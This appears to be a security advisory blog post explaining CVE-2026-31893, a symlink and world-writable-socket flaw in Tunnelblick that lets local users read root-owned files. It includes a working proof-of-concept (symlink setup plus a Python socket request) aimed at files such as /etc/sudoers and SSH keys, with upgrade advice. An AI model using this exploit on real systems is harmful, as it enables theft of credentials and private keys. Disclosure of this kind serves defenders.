Tunnelblick is a popular open-source application that provides a graphic user interface for OpenVPN on macOS. If you’re using Tunnelblick versions between 3.3beta26 and 9.beta01, your system may be at risk. This is due to a local privilege escalation vulnerability that allows any user to read arbitrary root-owned files. Let's break this down in simple terms so you can understand how the bug works, how to exploit it, and how to stay safe.

What is the CVE-2026-31893 Vulnerability?

Tunnelblick communicates between its GUI, background services, and helpers using a Unix domain socket, specifically /var/run/tunnelblickd.socket. This socket had permission mode 0666 (read-write for everyone) in vulnerable versions. That means any local user can connect to it.

Here’s the main issue: when a user creates a .tblk configuration directory and asks Tunnelblick to read from it, the tunnelblick-helper process will, as the root user, read a file called config.ovpn inside that directory without checking for symlinks. Since the read is always performed with elevated privileges and without validating where the symlink points, this opens the door for an exploit.

How the Exploit Works

1. Create a Fake Configuration: The attacker makes a .tblk directory in a location that Tunnelblick can access (like /tmp/evil.tblk).
2. Point to Root Files: Inside this directory, the attacker creates a symlink called config.ovpn, which points to any file the user wants to steal (e.g. /etc/shadow or /var/root/.ssh/id_rsa).
3. Read as Root: Using the world-accessible UNIX socket, the attacker tells Tunnelblick to open this configuration. The elevated tunnelblick-helper will follow the symlink, open the target file as root, and read from it — all without prompting for authorization or validating the request.

Proof-of-Concept Exploit

Disclaimer: This is for educational purposes only. Do not use on machines you don’t own or have explicit permission to test.

Let’s see how an attacker could pull this off.

# 1. Make a malicious .tblk configuration directory
mkdir /tmp/evil.tblk

# 2. Create a symlink named config.ovpn pointing to a sensitive file
ln -s /etc/sudoers /tmp/evil.tblk/config.ovpn

# 3. Use a Python script to talk to the world-accessible socket and request that config
import socket, json

socket_path = "/var/run/tunnelblickd.socket"
request = {
    "function": "OpenVPNConfigReadOpen",
    "arguments": {
        "configurationName": "evil",
        "configurationDirectory": "/tmp/evil.tblk",
        "configurationBaseName": "evil"
    }
}

# Send the request
with socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) as s:
    s.connect(socket_path)
    s.sendall((json.dumps(request)+"\n").encode())
    result = s.recv(8192)
    print("Received:", result)

On a vulnerable Tunnelblick setup, this will return the contents of /etc/sudoers or any other root-only file!

If you're using Tunnelblick, upgrade to at least 9.beta02 immediately.

- Tunnelblick Downloads (official)
- Tunnelblick Release Notes

References

- Official Tunnelblick Security Notice (if/when available)
- Tunnelblick GitHub Repository
- Common Vulnerabilities and Exposures (CVE) Entry *(check when available)*

Summary

CVE-2026-31893 shows that even well-established open-source projects can suffer from classic security pitfalls like world-writable sockets and unchecked symlinks. It’s a reminder that local privilege escalation bugs are often easy to overlook but can have serious security outcomes, especially when processes run as root.

Solution:
Upgrade to Tunnelblick 9.beta02 or later and do not run obsolete beta versions or allow untrusted users on your macOS machine.

Stay safe, update your software, and keep following exclusive security reports like this for the latest vulnerabilities!


*Exclusively written for security enthusiasts and sysadmins who want the full picture, in plain language.*

Timeline

Published on: 05/05/2026 18:55:41 UTC
Last modified on: 05/05/2026 20:16:35 UTC